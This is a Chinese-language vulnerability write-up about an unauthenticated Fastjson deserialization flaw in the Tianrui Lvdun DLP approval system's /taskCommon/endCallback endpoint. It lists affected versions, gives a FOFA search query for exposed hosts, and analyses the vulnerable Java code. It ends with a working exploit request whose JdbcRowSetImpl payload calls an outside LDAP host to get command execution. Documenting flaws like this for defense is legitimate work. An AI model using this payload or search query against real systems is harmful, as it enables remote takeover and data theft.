漏洞简介
天锐绿盾审批系统是一款企业级数据防泄密(DLP)解决方案,主要用于对企业内部的敏感文件进行透明加密、权限管理以及审批流程控制,旨在防止数据泄露并保障信息安全。
该系统的 /taskCommon/endCallback 接口存在 Fastjson 反序列化漏洞。攻击者可以通过构造恶意的 JSON 数据包,利用 Fastjson 库在处理数据时存在的反序列化缺陷,在未经授权的情况下,在服务器端执行任意代码。
成功利用此漏洞可能导致服务器被完全控制,攻击者可以窃取敏感数据、植入恶意程序、篡改系统配置,甚至对整个企业网络造成严重破坏,对企业的业务连续性和数据安全构成重大威胁。
影响版本
可通过访问 /trwfe/exports/config.ini 获取版本信息
V3.53.240913
V7.05.240904
fofa语法
app="TIPPAY-绿盾审批系统"
漏洞分析
先看下fastjson的版本

再看/taskCommon/endCallback 的实现部分
@RequestMapping(
value = {"/endCallback"},
method = {RequestMethod.POST},
produces = {"application/json"}
)
public Map<String, Object> endCallback(@RequestBody Map<String, Object> params) {
if (params.get("workflowInstanceId") != null && !StringUtils.isEmpty(params.get("workflowInstanceId").toString())) {
if (params.get("approval") != null && !StringUtils.isEmpty(params.get("approval").toString())) {
if (params.get("data") == null) {
if (params.get("userLoginName") == null && params.get("approvalResult") == null && params.get("approvalTime") == null && params.get("approvalComment") == null) {
log.error("url参数【data】为空");
return this.returnResultMap(false, "Parameter data is empty", (Object)null);
}
if (params.get("userLoginName") == null || StringUtils.isEmpty(params.get("userLoginName").toString())) {
log.error("url参数【userLoginName】为空");
return this.returnResultMap(false, "Parameter userLoginName is empty", (Object)null);
}
if (params.get("approvalTime") == null || StringUtils.isEmpty(params.get("approvalTime").toString())) {
log.error("url参数【approvalTime】为空");
return this.returnResultMap(false, "Parameter approvalTime is empty", (Object)null);
}
List<Map> data = new ArrayList();
Map<String, Object> mapData = new HashMap();
mapData.put("userLoginName", params.get("userLoginName").toString());
mapData.put("approvalResult", params.get("approval").toString());
mapData.put("approvalTime", params.get("approvalTime").toString());
mapData.put("approvalComment", params.get("approvalComment") == null ? "" : params.get("approvalComment").toString());
data.add(mapData);
params.put("data", data);
}
String workflowInstanceId = params.get("workflowInstanceId").toString();
String approval = params.get("approval").toString();
List<Map> data = JSON.parseArray(JSON.toJSONString(params.get("data")), Map.class);
ThirdSystemRecord thirdSystemRecord = this.thirdSystemRecordService.findThirdSystemRecordByBpmInstId(workflowInstanceId);
关键点
List<Map> data = JSON.parseArray(JSON.toJSONString(params.get("data")), Map.class);
params来自于@RequestBody,意味着其内容完全由客户端(攻击者)控制。params.get("data")获取到的是一个Object对象,它在 Spring 的HttpMessageConverter(通常是 Jackson 或 Gson)处理后,可能是一个ArrayList<LinkedHashMap>结构。JSON.toJSONString(params.get("data"))将这个对象重新序列化为 JSON 字符串。如果data字段本身就是一个恶意的 JSON 对象,这个过程会将其原样转为字符串。JSON.parseArray(...)是漏洞触发的关键点。根据其 API 特征,这很可能是阿里巴巴的 Fastjson 库。Fastjson 在默认配置下会开启autotype功能,允许通过@type字段指定要反序列化的类。- 当攻击者在
data字段中提供一个包含恶意@type的 JSON 对象时,JSON.parseArray会尝试加载并实例化该恶意类,从而触发RCE漏洞。
漏洞复现
使用Java Chains的JNDILDAPDeserializePayload下的Fastjson反序列化链配合One For All Echo 回显来完成利用

- 校验
workflowInstanceId和approval参数是否存在。- 根据
data参数是否存在,决定是直接使用该参数,还是根据userLoginName、approvalTime等参数重新构造一个data对象。
POST /trwfe/ws/taskCommon/endCallback HTTP/1.1
Host: trwfe.mrxn.net
X-Authorization: dir
Content-Type: application/json
{
"workflowInstanceId": "any-non-empty-string",
"approval": "true",
"data": [
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.168.168.11:50389/165c51",
"autoCommit": true
}
]
}
成功执行dir命令 并回显命令执行结果



